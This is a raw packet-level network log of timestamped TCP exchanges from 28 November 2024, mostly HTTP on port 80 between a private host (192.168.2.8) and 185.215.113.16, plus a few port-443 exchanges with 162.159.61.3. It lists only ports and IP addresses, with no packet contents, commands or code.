Nov 28, 2024 08:56:04.238229990 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.238241911 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.238246918 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.238255024 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.238267899 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.238279104 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.238282919 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.238282919 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.238291979 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.238316059 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.238543987 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.238827944 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.238838911 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.238851070 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.238888979 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.239015102 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.241575956 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.241641045 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.241656065 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.241683960 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.241683960 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.241722107 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.241769075 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.241805077 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.241818905 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.241880894 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.241880894 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.242048025 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.242060900 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.242389917 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.243005037 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.243161917 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.243266106 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.243364096 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.244119883 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.244272947 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.244386911 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.245207071 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.245292902 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.245322943 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.245671988 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.246299028 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.246390104 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.246447086 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.246638060 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.247420073 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.247492075 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.247549057 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.247606039 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.248480082 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.248583078 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.248641014 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.248677969 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.249619007 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.249687910 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.250682116 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.250765085 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.250793934 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.251784086 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.251841068 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.251872063 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.252831936 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.252892017 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.252954006 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.252954006 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.254019022 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.254106045 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.254287004 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.255014896 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.255122900 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.255202055 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.256155014 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.256244898 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.256270885 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.256417990 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.257245064 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.257309914 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.257327080 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.257358074 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.258342981 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.258454084 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.258480072 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.258682966 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.259406090 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.259514093 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.259531975 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.259607077 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.260535955 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.260644913 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.260674000 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.260766983 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.261573076 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.261609077 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.261637926 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.261764050 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.262712955 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.262809038 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.262837887 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.263008118 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.263770103 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.263849020 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.263880968 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.264101982 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.264869928 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.264965057 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.264970064 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.265091896 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.265993118 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.266086102 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.266118050 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.266216993 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.267141104 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.267209053 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.267297983 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.267442942 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.268150091 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.268292904 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.268315077 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.268414974 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.269218922 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.269350052 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.269841909 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.270338058 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.270412922 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.270445108 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.270520926 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.271485090 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.271559000 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.271591902 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.271650076 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.272530079 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.272658110 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.272766113 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.272859097 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.273682117 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.273730993 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.273894072 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.274746895 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.274842024 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.274872065 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.275851965 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.276040077 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.276072979 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.276954889 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.277036905 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.277067900 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.277621984 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.278059959 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.278072119 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.278182983 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.278299093 CET	443	49791	162.159.61.3	192.168.2.8
Nov 28, 2024 08:56:04.278383970 CET	443	49791	162.159.61.3	192.168.2.8
Nov 28, 2024 08:56:04.281802893 CET	49791	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:56:04.311323881 CET	443	49790	162.159.61.3	192.168.2.8
Nov 28, 2024 08:56:04.311397076 CET	443	49790	162.159.61.3	192.168.2.8
Nov 28, 2024 08:56:04.311579943 CET	49790	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:56:04.321398973 CET	443	49793	162.159.61.3	192.168.2.8
Nov 28, 2024 08:56:04.321459055 CET	443	49793	162.159.61.3	192.168.2.8
Nov 28, 2024 08:56:04.321633101 CET	49793	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:56:04.355223894 CET	443	49792	162.159.61.3	192.168.2.8
Nov 28, 2024 08:56:04.355293036 CET	443	49792	162.159.61.3	192.168.2.8
Nov 28, 2024 08:56:04.356719017 CET	49792	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:56:04.388988018 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.389002085 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.389506102 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.389518976 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.389691114 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.390616894 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.390630007 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.390769958 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.391592026 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.393893003 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.426208973 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.426223040 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.426691055 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.426704884 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.426724911 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.427820921 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.427834034 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.427921057 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.428885937 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.428899050 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.429733992 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.429975986 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.429987907 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.430062056 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.430062056 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.431128979 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.431142092 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.431257963 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.432292938 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.432307005 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.432406902 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.433289051 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.433300972 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.433538914 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.434367895 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.434381008 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.434513092 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.435348034 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.435627937 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.435688019 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.436522961 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.436536074 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.437541962 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.437551022 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.438391924 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.438616991 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.439347982 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.439378977 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.439822912 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.439836979 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.440893888 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.440907955 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.440923929 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.441500902 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.441965103 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.441982031 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.442058086 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.443104029 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.443116903 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.443420887 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.444240093 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.444252968 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.444380999 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.445331097 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.445343971 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.446010113 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.446243048 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.447030067 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.447284937 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.447345972 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.448486090 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.448498011 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.448714018 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.448743105 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.449570894 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.449584007 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.449610949 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.450824022 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.450838089 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.450860977 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.451001883 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.451832056 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.451844931 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.452924013 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.452935934 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.453059912 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.454030037 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.454044104 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.455024958 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.455137014 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.455137968 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.456145048 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.456159115 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.456317902 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.457303047 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.457318068 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.457406044 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.457406044 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.458406925 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.458425999 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.459438086 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.459781885 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.460272074 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.460635900 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.460649014 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.460822105 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.461658955 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.461672068 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.462785959 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.462799072 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.462918043 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.464168072 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.464183092 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.464278936 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.464962959 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.464977026 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.465060949 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.465060949 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.466029882 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.466042995 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.466938019 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.467082977 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.467094898 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.467308044 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.468187094 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.468311071 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.468842983 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.468955994 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.469326973 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.469337940 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.469435930 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.470391989 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.470403910 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.471631050 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.471642971 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.472579002 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.472614050 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.472625971 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.473536015 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.473740101 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.473752022 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.473932981 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.474659920 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.475126982 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.475158930 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.475864887 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.475879908 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.476433992 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.476954937 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.476967096 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.477094889 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.478096008 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.478108883 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.479130030 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.479144096 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.479536057 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.590291023 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.590307951 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.590379000 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.590379000 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.590970993 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.590985060 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.591222048 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.592009068 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.592252016 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.592663050 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.592804909 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.593540907 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.593744040 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.635291100 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.635305882 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.635754108 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.635807037 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.635818958 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.636856079 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.636868000 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:04.636888981 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:04.637219906 CET	49839	80	192.168.2.8	185.215.113.16
